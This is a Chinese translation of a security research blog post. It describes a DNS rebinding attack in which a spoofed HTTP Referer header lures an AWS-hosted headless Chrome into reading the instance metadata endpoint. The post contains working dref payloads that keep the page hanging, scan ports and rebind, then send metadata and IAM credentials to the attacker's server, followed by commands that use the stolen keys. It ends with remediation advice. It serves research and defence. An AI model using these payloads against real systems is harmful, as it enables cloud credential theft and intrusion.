原文:https://labs.mwrinfosecurity.com/blog/from-http-referer-to-aws-security-credentials/
在本文中,我们将为读者详细介绍攻击者是如何使用HTTP的Referer头部针对托管在AWS上的请求分析系统发动DNS重绑定攻击,从而破坏云环境的安全性的。
简介
虽然DNS重绑定攻击早在二十年前就已经面世,但最近一段时间以来,随着漏洞百出的物联网设备数量的激增,以及各种相关高危漏洞的连续曝光,这种“老迈”的技术竟然又焕发了第二春。与此同时,虽然DNS重绑定攻击的实施有些复杂,但是,随着相关利用框架的发布,例如MWR的dref框架以及Brannon Dorsey的DNS Rebind Toolkit,从而进一步降低了发动这种攻击的门槛。
尽管如此,人们对DNS重绑定攻击的讨论,还主要停留在理论层面。实际上,攻击者必须迫使受害者浏览自己控制下的网站并在那里停留一段时间,这种攻击才能奏效。当然,这些条件也是可以满足的,例如通过网络钓鱼或水坑攻击就能达到上述目的,之后,该攻击则需要借助于某些经过实战检验的有效载荷了。
随着dref的发布,攻击者开始寻找更加实用的攻击向量:可以提供直接利用途径,能限制或绕过人类交互的要求,并将DNS重绑定合法化。
当然,本文中介绍的这种攻击方法,只是我们在漏洞赏金计划中遇到的几个案例的概括和提炼。
出发
对于这种HTTP的,PortSwigger的James Kettle曾经发表过一篇出色的研究报告,并强调说,一些网站会“回过头来”向记录在入局流量中的引用网址发送HTTP请求。这样做的原因可能是用于市场营销,或者是为了进行威胁分析,等等。
下图演示了请求分析服务是如何面对攻击者提交的欺骗性URL的:
为了便于大规模发现具有这种行为的网站,MWR创建了reson8软件。该工具能够获取URL列表,并向每个URL发送带有伪造的HTTP头部的GET请求。对于给予响应的网站,该工具会详细记录与本研究有关的信息,例如往返时间、用户代理,以及是否执行了JavaScript代码。
我们发现,一些网站能够成功访问伪造的引用网址,并且,相应的往返时间从几分钟到几天不等。通过观察这些日志,我们发现其中的一部分是通过AWS的IP地址进行访问的,并且使用的是headless模式下的Chrome浏览器。
Headless Chrome浏览器的应用,可能是基于JavaScript的Web框架的普及所致;实际上,我们的确发现浏览器启用了JavaScript执行功能。并且,这些浏览器通常还会启用240秒的默认页面加载超时设置。因此,这些服务已经满足了成功实施DNS重绑定攻击所需的初步条件。
通过设置dref服务器,并发送带有指向它的Referer URL的请求,攻击者就可以在浏览器的内部网络的上下文中执行有效载荷。这样的话,攻击者就能够浏览网络,并从遇到的HTTP服务中提取信息。
继续前进
常见且稳定的DNS重绑定攻击要求受害者浏览器在有效荷载网站上至少逗留60秒。当然,这是为了满足浏览器内置的DNS缓存的要求。此外,基于浏览器的TCP端口扫描技术,在扫描C类子网的端口的时候,也需要花费差不多的时间。
由于Headless Chrome进程通常会在加载DOM时退出,因此,必须使浏览器“挂起”足够长的时间,才能完成上述过程。
为了达到这个目的,可以嵌入一个“”标签,该标签会尝试获取一幅声明的Content-Length大于实际长度的图像。这样的话,就有效地防止了加载DOM事件的触发,导致Chrome认为页面尚未完全加载。
我们可以通过为dref添加相应的配置键,来让它使浏览器挂起。其实,/hang.png端点本身的Express.js实现是非常简单的,具体如下所示:
// fetch an image that will never fully load
router.get('/hang.png', function (req, res, next) {
res.status(200).set({
'Content-Length': '1'
}).send()
})
有了这些措施,攻击者就可以在浏览器中“长时间”执行JavaScript代码了,时间最多为4分钟。
环境感知
实际上,dref工具提供了一个基于浏览器的TCP端口扫描模块,即netmap.js。该模块可用于确定浏览器的本地IP地址,推断子网,继而扫描网络以获取TCP服务。这可能是一条行之有效的横向渗透路径。
但是,由于我们发现连接到攻击者控制的站点的Headless模式浏览器运行于AWS上的某个位置,所以更直接的方法是,与运行Headless模式浏览器的AWS实例可访问的AWS元数据端点进行交互(它始终位于169.254.169.254的80端口)。这个端点提供了该实例的大量信息,并且如果与SSRF漏洞结合使用的话,通常会更加得心应手。
下面给出的dref有效载荷可以用来验证能否从浏览器访问该服务:
import NetMap from 'netmap.js'
import Session from '../libs/session'
const session = new Session()
const netmap = new NetMap()
function main () {
netmap.tcpScan(['169.254.169.254'], [80, 1234, 4444]).then(results => {
session.log(results)
})
}
main()
如果这个有效载荷的返回结果显示80端口处于打开状态,那么可以推断出,该浏览器可以访问这个AWS元数据端点。此外,还需要扫描端口1234和4444以提供参考点来消除误报,因为正常情况下这两个端口应该处于关闭状态。
结果清楚地表明,端口80是开放的,并且是可达的:
"hosts": [
{
"host": "169.254.169.254",
"ports": [
{"port": 80, "delta": 11, "open": true},
{"port": 1234, "delta": 1000, "open": false},
{"port": 4444, "delta": 1001, "open": false}
],
"control": 1001
}
]
跨源提取数据
AWS元数据端点是一项只读服务,因此,在CSRF或盲SSRF攻击中没有任何价值。为了证明该漏洞的安全影响,必须从该服务中获取响应。
由于浏览器的同源策略的缘故,所以,我们无法直接从“hooked”的浏览器向AWS元数据端点发送请求,并跨源发送响应。
不过,利用DNS重绑定技术,攻击者可以通过动态修改自己域名的IP地址使其指向所需目标,从而绕过这个安全策略。但是,目标端点必须满足这两个要求:目标服务接受任何Host头部,并且不使用SSL/TLS中进行封装。
大多数DNS重绑定框架都会利用iFrame加载重绑定攻击载荷,这也是dref的默认行为。就本例来说,目标浏览器似乎没有加载来自iFrames的内容(这看起来是基于粗略搜索的Headless Chrome的行为)。
dref的灵活性在于,允许编写相关的有效载荷,以便在同一frame中完成整个攻击。下面的有效载荷可以接收单个HTTP Path参数,并将来自端点的响应泄露给攻击者:
import * as network from '../libs/network'
import Session from '../libs/session'
const session = new Session()
async function main () {
// configure the A record to point to the AWS metadata endpoint when triggered
network.postJSON(session.baseURL + '/arecords', {
domain: window.env.target + '.' + window.env.domain,
address: '169.254.169.254'
})
session.triggerRebind().then(() => {
// exfiltrate the response from the provided args.path argument
network.get(session.baseURL + window.args.path, (code, headers, body) => {
session.log({code: code, headers: headers, body: body})
})
})
}
main()
攻击AWS
关于能够从AWS元数据端点读取数据的安全漏洞,已经有许多文献进行了详细的介绍,所以,本文不会对其进行深入讨论。
请求/latest/user-data/path时,会返回开发人员希望对各个实例开放的信息。这通常是一个bash脚本,其中包含S3存储桶的凭证或路径,例如:
"data": {
"code": 200,
"body": "
#!/bin/bash -xe
echo 'KUBE_AWS_STACK_NAME=acme-prod-Nodeasgspotpool2-AAAAAAAAAAAA' >> /etc/environment
[...]
run bash -c \"aws s3 --region $REGION cp s3://acme-kube-prod-978bf8d902cab3b72271abf554bb539c/kube-aws/clusters/acme-prod/exported/stacks/node-asg-spotpool2/userdata-worker-4d3482495353ecdc0b088d42510267be8160c26bff0577915f5aa2a435077e5a /var/run/coreos/$USERDATA_FILE\"
[...]
exec /usr/bin/coreos-cloudinit --from-file /var/run/coreos/$USERDATA_FILE
"
}
除了显示了一个S3存储桶之外,输出内容还表明,该服务正在Kubernetes上运行,并使用了亚马逊的Auto-Scaling Group(ASG)和Spot实例。由于这里使用了Kubernetes,由此我们可以推断,除了本文介绍的利用方法之外,可能还存在其他的利用途径。
与端点交互的主要战利品是临时安全凭证。我们可以从/latest/meta-data/iam/security-credentials/path中获取可用的安全凭证列表:
"data": {
"code": 200,
"body": "eu-north-1-role.kube.nodes.asgspot2"
}
我们可以通过请求/latest/meta-data/iam/security-credentials/eu-north-1-role.kube.nodes.asgspot2来获取这些凭证:
"data": {
"code": 200,
"body": "
\"Code\" : \"Success\",
\"LastUpdated\" : \"2018-08-05T15:33:26Z\",
\"Type\" : \"AWS-HMAC\",
\"AccessKeyId\" : \"AKIAI44QH8DHBEXAMPLE\",
\"SecretAccessKey\" : \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",
\"Token\" : \"AQoDYXdzEJr[....]\",
\"Expiration\" : \"2018-08-05T22:00:54Z\"
"
}"
然后,可以使用这些凭证来完成AWS API的身份验证:
$ export AWS_ACCESS_KEY_ID=AKIAI44QH8DHBEXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr[...]
$ aws ec2 describe-instances
[...]
当然,该漏洞的影响程度取决于凭证被授予的权限,从完全接管到信息泄露皆有可能。即使权限较低,攻击者也可以利用这类访问权限来发现其他攻击路径或提权。
补救措施
AWS
在AWS环境中,应始终采取相应的安全措施来防止出现与AWS元数据端点的非预期交互。由于服务可能需要访问端点,因此,可以在实例上实施iptables规则以限制向具有root权限的进程发送流量,同时确保与用户输入交互的进程不以root身份运行。
当然,这种手法不仅可以攻击AWS元数据端点,因为其他网络服务可能也含有漏洞。所以,也需要为其实施相应的防火墙规则。
与往常一样,最小特权原则在这里也适用:不要给安全凭证赋予过多的权限,给予的权限,够用即可。
DNS重绑定
通常情况下,外部DNS应答是不必提供内部IP地址的。所以,如果可能的话,应删除这类DNS应答。
此外,使用SSL/TLS进行封装的服务和验证Host头部的服务不会受到DNS重绑定的影响。
结束语
虽然DNS重绑定一直认为存在理论风险,但历史上该漏洞从未被认真对待过。并且,该攻击的传统手法通常允许通过更直接的方式来利用受害者。
然而,这项研究表明,相关的手法并不仅限于网络钓鱼和水坑攻击。任何直接或间接处理用户提供的URL的服务都可能存在安全风险。
所以,对于实现这类服务的工程师来说,应认真考虑是否授予不可信脚本访问权限,并据此做出相应的设计调整。
工具
至于MWR的DNS重绑定框架,即dref,读者可以从GitHub下载。
此外,reson8工具也将很快公之于众。届时,安全专业人员可以使用该工具来检测将向利用HTTP头部提交的URL发送请求的Web应用程序。此外,reson8还可以用于测试海量的URL。对于单个测试用例,作者推荐PortSwigger提供的工具collaborator-everywhere。
致谢
感谢MWR的Markus Blechinger和Adam Williams在本研究过程中为我们提供了宝贵见解和提示。